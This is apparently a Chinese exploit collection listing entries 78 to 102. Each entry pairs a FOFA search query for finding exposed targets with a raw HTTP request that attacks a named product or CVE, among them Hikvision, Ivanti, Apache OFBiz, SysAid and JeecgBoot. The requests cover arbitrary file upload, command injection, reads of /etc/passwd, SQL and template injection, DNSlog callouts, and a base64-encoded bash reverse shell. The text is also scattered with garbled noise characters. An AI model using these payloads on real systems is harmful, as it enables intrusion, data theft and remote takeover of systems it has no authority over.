POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
% n1 Y3 E' R- `/ R8 f' J
9 Q7 |7 b' i3 N$ W3 c  g8 O: S9 B' A* Q9 s------------398jnjVTTlDVXHlE7yYnfwBoix
7 Q+ z) b# D/ v: u9 Y; l9 ~+ {6 LContent-Disposition: form-data; name="folder"
. N3 \- }% `  I& a! T7 p! W# I5 U
! V! J3 b% q7 k9 O, r/upload/udplog
% K  D8 z6 E7 m: \1 ^& {& o. Z------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
* N: s- M* X9 L: g! |) S) h4 q
, ]  M8 X6 g: F4 Q* ^! Y% Ahello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
. Z& _6 i: @! c5 K9 M5 Z
Submit Query
6 J* ], {/ x' H8 B+ x" j$ C4 ~' b------------398jnjVTTlDVXHlE7yYnfwBoix--

* {5 U' s* I% O8 K! @/ E8 B9 w3 \
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
8 ]2 j/ w( [7 B$ cPOST /Platform/System/FileUpload.ashx HTTP/1.1
1 U8 U' O% R- [- y6 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# h" |( n: b" _" p5 c( I2 `Connection: close
! c/ N' O; E: E. |  ~Content-Length: 336
( I& U- I6 O+ C( g9 D2 hAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
: t4 K2 p" q/ ~4 K$ I: |* L
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
, v& R2 @; H( J  ]4 F" B, @- lContent-Type: image/png
! l8 _; F& ~1 j& R$ c
YsOxWxSvj1KyZow1PTsh98fdu6l
7 `0 Q9 i9 \- b) ^+ m9 c------YsOxWxSvj1KyZow1PTsh98fdu6l
: b: {. |: T: F5 AContent-Disposition: form-data; name="target"

* Q8 c2 e3 k0 o- `/Applications/SkillDevelopAndEHS/
% n, \/ ?3 Z" K! W. [- ^' N------YsOxWxSvj1KyZow1PTsh98fdu6l--

7 ~; q& Z6 ^: H# J* V1 Z' [' j8 ]# N
8 Q+ ?& K( g) OGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
2 X# I5 A) k7 U! `) c

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
9 V/ C8 S- K, N: @Host:IP
# \" z/ D7 ~1 G9 w8 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" e8 U! S9 r9 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) c# }" G7 L# I- q( o6 VAccept-Encoding: gzip, deflate
7 C1 ^0 f7 ^4 y, H8 GConnection: close
Upgrade-Insecure-Requests: 1

6 }) R3 L2 u0 ]$ G+ X
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
. v# X4 E5 e" G, qFOFA：app="速达软件-公司产品"
. c1 t9 D# I! P/ V. ]/ z/ o7 l9 GPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
4 G4 `) E$ Y4 S! JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 x2 r% }: `  FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" W3 L* m/ [! C0 m, RContent-Type: application/octet-stream
8 i3 W+ q  O" u5 K( JUpgrade-Insecure-Requests: 1
6 k9 E# I' S' I' Z
" ?% x0 A/ d: |( A: C8 @0 l0 B<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
9 O, t% T, |! X* _6 {9 m% r# VHost: x.x.x.x
% [1 p9 E% k% {9 \+ JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" }. S: Q; b( W( XConnection: close
, o$ [( R* X4 i: I1 o+ eAccept-Encoding: gzip
: `6 _1 L) @5 y8 X( G$ ^
! U" z) Q4 W. h* E: A3 i. a
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
. z3 U1 e2 O& eFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
! R, l* p% Q/ {# RHost: x.x.x.x
8 m( w9 z9 `7 c* ]8 [* mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 f# D0 I3 f0 m+ m! F7 F, f1 ~Accept-Encoding: gzip

3 D; x& R) Y- k8 t
( F9 O. B5 T9 L' H3 U7 ^* @. R82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
1 K  X/ }& y7 n. bFOFA：app="思福迪-LOGBASE"
9 a; A2 W: A4 j  {* s0 IPOST /bhost/test_qrcode_b HTTP/1.1
0 `, e2 R! n# `0 U& q6 wHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
- }2 }/ d2 A) \Connection: close
Content-Type: application/x-www-form-urlencoded
* ~7 \2 E/ r: P' i; PReferer: BaseURL
) ^; F/ g4 ?' x' |$ P0 q" s
z1=1&z2="|id;"&z3=bhost


8 n' \1 r2 D+ k/ F5 V, n; Y9 i83. JeecgBoot testConnection 远程命令执行
8 D' \* Y+ w; E! a" JFOFA：title=="JeecgBoot 企业级低代码平台"

' a7 N$ A8 ~  V3 }
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
$ `2 ?; [! e0 j  BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
2 T( W/ S# u: j2 `Content-Type: application/json
6 Q0 `4 T9 G. ]; j1 w
PAYLOAD
3 l: ]- O# Z) e) z. r. i7 I* z& k# z
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
  Y* E& V7 k) U9 D# c9 f


5 e9 Z0 }6 t/ S6 _/ B: x  \7 i4 sPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
1 n) t9 u9 _# `6 t1 MUser-Agent: curl/7.88.1
, y# V, K6 ~# R% p( p9 K( C+ KContent-Length: 156
" s& h$ o3 R3 T/ hAccept: */*
Connection: close
Content-Type: application/json
* p9 p4 R) z7 w' f& L. v# X' TAccept-Encoding: gzip
% }# U$ H6 L- m, I
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
1 H1 e, y/ q2 S4 l
$ W# {- b+ W# t- i  A5 ?2 m% j0 o
85. SysAid On-premise< 23.3.36远程代码执行
9 W- k+ E5 b3 R; K7 q+ }: T) RCVE-2023-47246
3 C/ H4 _) Z- M$ z( r2 ~0 XFOFA：body="sysaid-logo-dark-green.png"
/ T* u: A6 t3 V! ~5 n3 m* E' ~$ gEXP数据包如下，注入哥斯拉马
& L  a1 K3 f0 F1 ^) l/ SPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
- }. f4 R/ G. _1 AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ z! X9 @( T4 D& F- N9 o+ R+ @Content-Type: application/octet-stream
Accept-Encoding: gzip

+ `" l+ N  B" u4 ]+ `$ nPAYLOAD

" d9 \. l$ c- Z( _$ o回显URL：http://x.x.x.x/userfiles/index.jsp
5 d" F$ m7 r; _" _0 E
86. 日本tosei自助洗衣机RCE
  [. x, }9 G( a" \* N' z' K' w7 [FOFA：body="tosei_login_check.php"
- W' j/ q# M2 M/ X( x% bPOST /cgi-bin/network_test.php HTTP/1.1
  F  d; G- M8 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
& o1 e7 a9 {5 K' NConnection: close
Content-Length: 44
Accept: */*
# Y5 a5 M% B  HAccept-Encoding: gzip
' v1 w  l1 \$ U& \9 P# ?. xAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping


4 {2 S2 P9 x! ?) s* q7 O87. 安恒明御安全网关aaa_local_web_preview文件上传
- H, X0 h! S8 q* C% e( bFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 T) V; e* H+ _Connection: close
! }( `3 e4 g  v) {4 C! S# \4 t. YContent-Length: 198
% H+ E4 c: [7 L0 c! Z7 B6 ]Accept-Encoding: gzip
" z; j* ^% Y; P% V( [Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
8 [  h- u6 \+ p3 |1 K
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
5 I! r& m& ]7 X% a8 Y: [Content-Type: text/plain
% A' l& q* f. Y4 ~# s5 `! @- _
* a1 L, f8 _% X2ZqGNnsjzzU2GBBPyd8AIA7QlDq
4 l6 v& d8 \# c. i8 ]: j6 c3 {! Q--qqobiandqgawlxodfiisporjwravxtvd--


: n2 F* U8 h, V) Y  G/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
- P; E0 E. Y, F% U" k8 H! K' VHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, @4 q3 f  R, u  O5 d9 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
0 j3 t, a) r# u/ b  l
! {) o) \) S. V
3 j7 q' |# G" ^+ i. p# y/astdfkhl.php

# E/ `: y  f# O# N89. 致远互联FE协作办公平台editflow_manager存在sql注入
* G& S- K) E  D. k6 p- T6 d& HFOFA：title="FE协作办公平台" || body="li_plugins_download"
0 N) Y0 s% V8 m( I% ~+ NPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
7 ]7 T* s4 d, Z( NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, b5 S+ q4 s, \* ~$ m; D( u' v& a! `$ lConnection: close
! F/ b7 a( J# d% _1 Z# tContent-Length: 41
5 \( h6 E8 W- [4 v5 u4 T7 I# PContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
' N4 _! a( x# ^1 T

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
4 C. {, F0 K7 T+ D; [6 ~FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
2 p; a% F( y5 x$ {1 r/ z' O, NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
: v" z, R+ W" a0 h" T% P1 r) Q4 z. pAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
3 M' M7 m! q) Q! K: @X-Requested-With: XMLHttpRequest
* |1 ^" ~. c* t/ c
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
2 _6 B5 v0 ^) A& D( C* K
5 a5 y+ T3 ~9 B
  s6 O8 ~; J1 P6 N' C91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
$ ?, H- }# n& W. HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
% @2 o& E% c2 b) E" G! KConnection: keep-alive
/ K" X  [/ @" B+ C
' J2 I$ p: h4 ]6 G' ^* S
/ x, P4 o* Z- N$ G/ }
+ I- L4 x) ~. S6 j. I4 j# z' {92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
4 J+ O. C( B6 |7 ~$ X8 v6 f3 J- vHost:
" H, |* y% V0 s8 h; kAccept: application/json, text/plain, */*
0 ?8 d( d' f/ c, E! KAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
% D, j; c9 f; O0 m( ^X-Language-Type: zh_CN
Testcmd: echo test
6 i! X1 S7 a  C$ }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  T$ K0 F, h, B# {7 `6 @Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
4 j5 r, E# B; {9 j
PAYLOAD


# c% Q! r" `* `( ~) e4 D93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
3 u; \- w5 K$ z1 N) SFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
2 |" F: x, g1 y; L# `  UHost: x.x.x.x
$ d- d" D( t) tContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  v8 i( [1 O+ S8 ^6 Q3 j! @
$ P- h/ B2 j! W------WebKitFormBoundarykcbkgdfx
0 {* u. Z$ J2 f4 O% M1 XContent-Disposition: form-data; name="MAX_FILE_SIZE"
$ D! \' p. R1 p4 G( I0 U
# d+ h. |6 e( T8 X8 w10000000
2 O5 s" [& g/ Y+ l* e5 a/ _------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
5 W' b$ G- u6 jContent-Type: text/plain

5 `5 a$ g; b+ K/ ?  g4 Ywagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
# ?# ^; X  V% {& T. F1 g
' F; A3 k6 J  V9 ?' B( @. R$ `3 h2 v0b9d6b1ab7479ab69d9f71b05e0e9445
  {5 U7 u) W3 H------WebKitFormBoundarykcbkgdfx--
# t& m, ?# b$ @$ _

GET /attachements/xlskxknxa.txt HTTP/1.1
; P0 s- K3 i, k/ e* hHost: xx.xx.xx.xx
5 b& q# ], C1 j8 ^  }# MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" E/ ~5 E7 e- X5 g8 o" d
* b+ H7 g2 F! t0 z6 m+ z& m
" ?  A7 U7 @) P$ x5 ~/ G* }94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
8 k  a& c) P9 J0 U# u4 w7 F+ e+ zHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
' M; h0 |4 n! `9 ^1 V- NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

- \; o9 p! y' a# s5 ]2 z; W) f! t4 F------WebKitFormBoundarybqvzqvmt
7 [9 L; P$ p/ G5 fContent-Disposition: form-data; name="MAX_FILE_SIZE"

: w: O; F6 T, u) B& j10000000
  O# K, k( i% Z0 o+ s9 ?------WebKitFormBoundarybqvzqvmt
! b8 k0 |; Z( `Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

; U6 U+ i# q2 A+ ppxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
7 W) Z  B' f4 ]2 H2 o. f1 ]
obj_app_upfile
9 x0 {" e/ W4 w0 B8 G------WebKitFormBoundarybqvzqvmt
! A" H' ~1 H6 A, `! kContent-Disposition: form-data; name="__hash__"
6 i3 [3 o  u- @8 s+ V+ K
+ D0 w. n) R5 d0b9d6b1ab7479ab69d9f71b05e0e9445
. x# i  W( V. l+ S: Y------WebKitFormBoundarybqvzqvmt--
( U$ [$ m" T$ E8 d


) g) O: P5 n/ L8 I3 b* V8 YGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


1 ^  h8 I) `# a& \$ K6 M
0 Z' M, n' y& k4 o0 d95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
+ P7 h3 ^* W) T3 pPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
/ n8 i$ u" F  V! R6 K% AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
) ^0 ^5 s7 o% [% b# aContent-Length: 889
' d; V1 v2 p3 ~9 aContent-Type: application/xml
8 {+ g7 K- ]! ~& ^7 V7 y) hAccept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
# q. Y) s" N) Z& _( W   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
% Y  W1 m% O, H3 u    <params>
! A0 L3 ^1 @! y( E      <param>
      <value>
3 Q5 O# R) T" [! E        <struct>
       <member>
4 P1 `: V- |6 v          <name>test</name>
          <value>
3 s1 e& Z( _' s7 Y      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
( c% G) T  A4 L  j9 c" G& ^$ Y          </value>
7 h8 _& b' O2 r; t" o& E/ m3 t        </member>
  F7 H+ A$ s$ x" A: N      </struct>
      </value>
    </param>
; N/ l( \$ b6 U- z! i    </params>
1 R( ^1 j: K7 Y/ a$ N$ W: d</methodCall>
5 n: x  W7 m6 h

1 r) V, q$ w$ ]/ k4 g  t用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
: {+ o# \/ C8 F

将生成的payload替换到上面的POC
) c6 v' Y) Q/ I6 y' i4 CPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
; g' `' k' J* B6 S+ [2 M) W! zHost: 192.168.40.130:8443
+ f* i& k, Z/ F  Y, ~; L3 VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
5 @% D! Z0 W2 W* HConnection: close
/ d8 c( S, w3 j% o( M' f" sContent-Length: 889
3 C: L4 O8 k% }2 |Content-Type: application/xml
. V( V' x9 h! Y& f0 ?' gAccept-Encoding: gzip
: c' }+ G( X' C4 a" }) O6 r6 N
$ V: O6 ~7 j) o2 Y! g. H3 wPAYLOAD
$ z8 H9 n8 h0 I  L
96. Apache OFBiz  18.12.11 groovy 远程代码执行
8 F2 @; s  |9 B/ j; M! MFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
- E! H* _0 ^4 T% s) PHost: localhost:8443
2 ?6 e3 b7 n" K, W* a: o6 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. d. ~  q2 }: hAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
9 f8 `1 H7 L- E. Q# m2 Y- ~Content-Length: 55

$ ?7 c6 i5 m! @7 I$ fgroovyProgram=throw+new+Exception('id'.execute().text);
( i. ?0 i8 w$ e! ]
/ q" v/ d1 h0 {( \
" c8 q, A0 I( D* ^反弹shell
* X( R1 `+ G( C+ a) g' N! s9 I在kali上启动一个监听
: H. S! L# g- M$ y; D- ]! Jnc -lvp 7777
+ R1 J5 I! u9 c% p  H
  P- c9 a+ `* B1 x9 V4 h/ BPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
  q, K# i1 q+ \7 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
: E% p* T: g% i9 n
5 B( S$ J5 J" D' ?groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

  B# k2 y  F1 M' ~' Y; ~97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
2 V5 G) i# e+ d7 k& t9 J2 SFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
4 e: M) l9 Q! v2 Y" j: XHost: 192.168.40.130:8085
% m) |& \; f3 O* O7 b1 W& hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
6 f; u3 A+ P& G2 ]! r9 GX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
" |! q& u$ Y; o; D! U( I

9 X9 X; V. `( @* h# H* p4 A98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
8 y3 t1 ?( V0 k0 L7 Y9 T/ DFOFA：app="SpiderFlow"
1 ^" l, e% e' \6 }POST /function/save HTTP/1.1
0 g  z/ _* |3 G3 i1 [4 |Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( ]# I- t" I4 @# }1 `2 KConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 D! y' f4 Y4 A( f+ ]2 g% x" AContent-Type: application/x-www-form-urlencoded; charset=UTF-8
8 U3 b3 l- `# J4 ]X-Requested-With: XMLHttpRequest

& _5 U- r9 m0 L7 Wid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
# M! T, r/ X/ C5 a

! h) B2 r" `3 J! p99. Ncast盈可视高清智能录播系统busiFacade RCE
3 d6 }/ c* S4 I: i2 ]0 n3 y7 F5 tCVE-2024-0305
9 s9 M$ y( @  H1 ]6 V+ [FOFA：app="Ncast-产品" && title=="高清智能录播系统"
* Z  c6 z/ ^) T, R) fPOST /classes/common/busiFacade.php HTTP/1.1
& d. _. }4 P5 e9 q; X/ K8 U  FHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
; Z% C" w" X7 A. g' N* t$ Q+ F  OContent-Length: 154
Accept: */*
4 }( m, P! F+ g. BAccept-Encoding: gzip, deflate
9 R9 ]7 u# D9 C3 A1 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
, h& J8 y9 M/ ^
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
' J$ f! C$ |- Q3 _; \& w

100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
( R6 ~5 G# V9 y- j, E- [CVE-2024-0352
FOFA：icon_hash="874152924"
* ~! g3 U; B/ ?4 nPOST /api/file/formimage HTTP/1.1
3 a! [; Z6 e- m1 _Host: 192.168.40.130
5 E( M8 I  w- A1 P3 |' G* c; wUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
" |& D$ j/ x1 T3 _' J/ gContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

" s0 @; c' D, q4 V$ k------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
" J# N8 u  J' a7 r
2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
/ D3 a+ c) }! v$ |5 f# R
" g$ e+ B! o/ ]8 W( Q8 q
7 s, S  m3 X1 }101. ivanti policy secure-22.6命令注入
- s) g* ?; z# y+ l; }CVE-2024-21887
' w' V+ v9 _2 o+ v8 i7 Q. E* P$ nFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
. r7 i+ }4 g* P2 ]Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
7 e3 F0 r1 J* h' jAccept-Encoding: gzip
7 j3 K$ O5 T( T2 ^
$ w# u7 f7 _. F, ], s
- [7 F( b7 d+ L. b& I) C+ `" Y102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
" |* Z* n" a# Z5 KPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
# C% f$ Z& g' S8 p* I. D; V5 ]  y
